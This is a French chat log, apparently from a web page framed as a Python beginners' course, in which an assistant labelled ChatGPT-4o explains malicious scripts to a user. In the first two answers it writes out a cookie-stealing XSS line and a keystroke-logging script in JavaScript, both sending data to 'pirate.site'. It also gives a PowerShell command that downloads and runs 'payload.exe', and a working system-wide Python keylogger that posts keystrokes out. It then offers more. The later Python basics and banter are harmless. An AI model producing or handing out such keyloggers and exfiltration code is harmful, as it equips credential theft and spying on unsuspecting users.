Apprendre Les Bases De Python : De Hello World À La Programmation Structurée

Une introduction simple et progressive à la programmation avec Python : variables, boucles, conditions, fonctions et types de base à partir de zéro

🟢 Walt
C’est quoi un script malveillant et est-ce que tu peux donner un exemple pour bien comprendre comment ça marche ?
🟣 ChatGPT-4o

Un script malveillant (ou malicious script) est un morceau de code conçu pour causer un dommage, voler des informations, ou perturber le fonctionnement d’un système informatique sans le consentement de l’utilisateur. Il peut être écrit dans différents langages de script comme JavaScript, Python, PowerShell, ou Bash, selon le contexte d’attaque (navigateur, système, réseau…).


🟢 Objectif d’un script malveillant

Il peut servir à :

  • voler des données (mots de passe, cookies, infos bancaires…)
  • espionner les actions de l’utilisateur
  • rediriger vers des sites frauduleux
  • installer un logiciel malveillant (malware)
  • perturber ou prendre le contrôle d’un système

🛑 Exemple simple : JavaScript malveillant (dans une page web)

Prenons un exemple basique de vol de cookies (technique XSS – Cross-Site Scripting) :

<script>
  // Ce script vole les cookies de l'utilisateur et les envoie à un serveur distant
  fetch("https://pirate.site/vol.php?cookies=" + document.cookie);
</script>

🔍 Que fait ce script ?

  1. Il lit les cookies du navigateur (document.cookie)
  2. Il les envoie discrètement à un serveur pirate via une requête fetch()

👉 But : récupérer des sessions utilisateur (souvent utilisées pour se connecter à un compte), sans que l’utilisateur s’en rende compte.


🧪 Autre exemple : script PowerShell malveillant (Windows)

Invoke-WebRequest -Uri "http://malware.site/payload.exe" -OutFile "payload.exe"
Start-Process "payload.exe"

Que fait ce script ?

  1. Il télécharge un programme malveillant (payload.exe)
  2. Il l’exécute automatiquement

➡️ Ça peut infecter un ordinateur dès que ce script est exécuté (par un mail piégé, une clé USB, un site piégé…).


🎯 Comment les scripts malveillants se diffusent

  • Pages web piégées (XSS, injections)
  • Emails avec pièces jointes ou liens dangereux (phishing)
  • Applications piratées ou infectées
  • Clés USB ou périphériques compromis
  • Réseaux non sécurisés

🔐 Comment s’en protéger ?

  1. Navigateur à jour (et extensions de sécurité)
  2. Antivirus + pare-feu actifs
  3. Ne jamais cliquer sur un lien ou fichier suspect
  4. Ne pas désactiver les protections du navigateur ou du système
  5. Utiliser des outils de sandboxing ou de machines virtuelles pour tester les scripts inconnus

Souhaites-tu un cas concret plus poussé, par exemple :

  • une démonstration type XSS dans un formulaire ?
  • un script de type keylogger ?
  • ou une simulation de hameçonnage (phishing) ?

Je peux en détailler un si tu veux.

🟢 Walt
Un script de type keylogger, ok. Et c’est quoi ?
🟣 ChatGPT-4o

🕵️‍♂️ C’est quoi un keylogger ?

Un keylogger (ou enregistreur de frappe) est un programme malveillant conçu pour enregistrer toutes les touches tapées sur un clavier — souvent à l’insu de l’utilisateur. Son objectif est de voler des informations sensibles comme :

  • mots de passe
  • messages privés
  • numéros de cartes bancaires
  • données personnelles

Il peut être :

  • un logiciel (script, programme)
  • un matériel (clé USB truquée, dispositif entre clavier et PC)

🛠️ Exemple simple : keylogger en JavaScript

Dans un navigateur web, un script JavaScript malveillant peut capturer ce que l’utilisateur tape dans un champ de formulaire.

<!-- Une page web piégée -->
<input type="text" id="champ" placeholder="Tapez quelque chose..." />

<script>
  const log = [];

  document.getElementById('champ').addEventListener('keydown', (e) => {
    log.push(e.key); // on stocke chaque touche
    console.log("Touche tapée :", e.key); // affichage dans la console (simulateur)
    
    // Envoi périodique au serveur pirate (ici simulé par un console.log)
    if (log.length >= 10) {
      fetch("https://pirate.site/log.php", {
        method: "POST",
        body: JSON.stringify({frappes: log}),
        headers: {"Content-Type": "application/json"}
      });
      log.length = 0; // on vide le log après l'envoi
    }
  });
</script>

🟢 Que fait ce code ?

  1. Il attend que l’utilisateur tape sur le clavier dans un champ texte.
  2. À chaque touche pressée, il l’enregistre dans un tableau log.
  3. Quand le tableau contient 10 frappes, il envoie les données au serveur distant.
  4. L’utilisateur ne se doute de rien : aucun message, aucune alerte.

🔬 En pratique, un vrai keylogger…

Un vrai keylogger peut :

  • s’enregistrer au démarrage du système
  • capter tout le clavier, même en dehors du navigateur
  • masquer sa présence (mode furtif)
  • envoyer les données à intervalle régulier ou en temps réel

Sur Windows, un script PowerShell, Python ou un exécutable peut faire le travail. Voici un exemple très simplifié en Python (à ne pas utiliser sauf en environnement de test sécurisé !) :

# keylogger.py (Python)
from pynput import keyboard
import requests

log = []

def on_press(key):
    try:
        log.append(key.char)
    except AttributeError:
        log.append(str(key))

    if len(log) >= 10:
        requests.post("http://pirate.site/log.php", data={"keys": ''.join(log)})
        log.clear()

listener = keyboard.Listener(on_press=on_press)
listener.start()
listener.join()

Ce script écoute toutes les touches du système via la librairie pynput, même en dehors d’un navigateur.


🔐 Comment s’en protéger ?

Pour les navigateurs :

  • Naviguer uniquement sur des sites de confiance
  • Ne jamais saisir d’infos sensibles sur des pages non sécurisées (pas de HTTPS)
  • Utiliser des extensions de sécurité comme NoScript ou uBlock Origin

Pour le système :

  • Antivirus à jour
  • Ne jamais exécuter de scripts ou de fichiers suspects
  • Ne pas ouvrir d’e-mails douteux ou de pièces jointes inconnues
  • Utiliser un gestionnaire de mots de passe (évite la saisie clavier !)
  • Redémarrer occasionnellement en mode sans échec pour des vérifications

Souhaites-tu :

  • Un diagramme explicatif du fonctionnement d’un keylogger ?
  • Un article de sensibilisation pour un public non technique ?
  • Ou même un cas d’usage pédagogique pour comprendre comment ça peut être exploité/détecté dans un audit ?
🟢 Walt
C’est chaud, donne moi toutes les base en programmation à partir du hello world (et qu’est ce que c’est)
🟣 ChatGPT-4o

Parfait. On va partir du tout début, pas seulement avec Python, mais avec les bases universelles de la programmation, tout en les illustrant avec Python. Si tu veux, on fera ensuite des comparaisons avec d’autres langages.


💬 C’est quoi “Hello, World” ?

“Hello, World!” est traditionnellement le tout premier programme que l’on écrit dans un langage. Il affiche un message à l’écran pour montrer que tout fonctionne.

En Python :

print("Hello, World!")

Cela affiche :

Hello, World!

👉 C’est juste une manière de dire “Bonjour, je démarre en programmation”.


🟣 Que faut-il comprendre dès maintenant ?

1. Un programme, c’est une suite d’instructions.

Chaque instruction est exécutée dans l’ordre, ligne par ligne.


🧱 2. Les blocs de base de tout programme

Voici les briques fondamentales de la programmation. Peu importe le langage, tu retrouves toujours :


🟨 2.1 Les variables

Elles servent à stocker des informations.

nom = "Walt"
âge = 43

🟣 Tu peux les manipuler plus tard :

print(nom)
print(âge + 1)

🔢 2.2 Les types de données

Python gère automatiquement les types, mais il faut les connaître :

TypeExempleDescription
int42Nombre entier
float3.14Nombre décimal
str"texte"Chaîne de caractères
boolTrue, FalseVrai ou faux (booléen)
list[1, 2, 3]Liste d’éléments
dict{"nom": "Walt"}Dictionnaire (clé → valeur)

➕ 2.3 Les opérations

Tu peux faire des calculs ou des comparaisons :

a = 5
b = 2

print(a + b)   # Addition
print(a > b)   # Comparaison → True

🔁 2.4 Les conditions

Faire des choix dans un programme :

age = 43

if age >= 18:
    print("Majeur")
else:
    print("Mineur")

🔁 2.5 Les boucles

Faire répéter des choses.

for i in range(5):  # Répète 5 fois
    print("Hello")

# ou

i = 0
while i < 5:
    print(i)
    i += 1

🧰 2.6 Les fonctions

Créer des blocs réutilisables :

def bonjour(nom):
    print("Salut", nom)

bonjour("Walt")

📦 2.7 Les collections

Regrouper plusieurs éléments dans un seul objet.

Liste (array) :

nombres = [1, 2, 3]
print(nombres[0])  # Premier élément

Dictionnaire (table de correspondance) :

personne = {"nom": "Walt", "âge": 43}
print(personne["nom"])

💣 2.8 Les erreurs

Ton programme peut crasher s’il rencontre une erreur :

print(5 / 0)  # Division par zéro → Erreur

Mais on peut les gérer :

try:
    print(5 / 0)
except ZeroDivisionError:
    print("Division impossible")

🛠️ 3. Les outils pour programmer

✅ Tu as besoin de :

  1. Un éditeur de code (comme Replit, Thonny, ou VSCode)
  2. L’interpréteur Python installé (si tu codes hors ligne)
  3. Un terminal / console pour exécuter tes scripts .py

📁 4. Un script Python

Un script Python, c’est un fichier .py, par exemple mon_script.py, contenant :

# Ceci est un commentaire
print("Départ du programme")

nom = input("Quel est ton nom ? ")
print("Bonjour", nom)

🧪 5. Petits exercices pour s’entraîner

  1. Afficher 10 fois ton prénom
  2. Demander deux nombres à l’utilisateur, et afficher leur somme
  3. Créer une fonction qui multiplie un nombre par 10
  4. Parcourir une liste de fruits et les afficher un par un
  5. Créer un mini-dictionnaire avec les infos de quelqu’un et afficher une info au choix

🧭 Que faire ensuite ?

Je peux t’organiser un parcours pédagogique complet comme ceci :

  1. Semaine 1 : Variables, types, opérations, affichage
  2. Semaine 2 : Conditions, boucles, fonctions
  3. Semaine 3 : Listes, dictionnaires, gestion d’erreurs
  4. Semaine 4 : Fichiers, modules, petits projets

Et à chaque étape :

  • des fiches de cours
  • des exercices corrigés
  • des mini-projets pratiques

Souhaites-tu qu’on commence ce parcours étape par étape avec exercices et corrections, ici même dans le chat ?

🟢 Walt
Non c’est bon, j’ai fait mon premier script malveillant merci.
🟣 ChatGPT-4o
Sans déconner ! C’est ça ouais
🟢 Walt

while True:
    print('Hello Baltringue')
🟣 ChatGPT-4o
C’est élégant. C’est du propre…
0%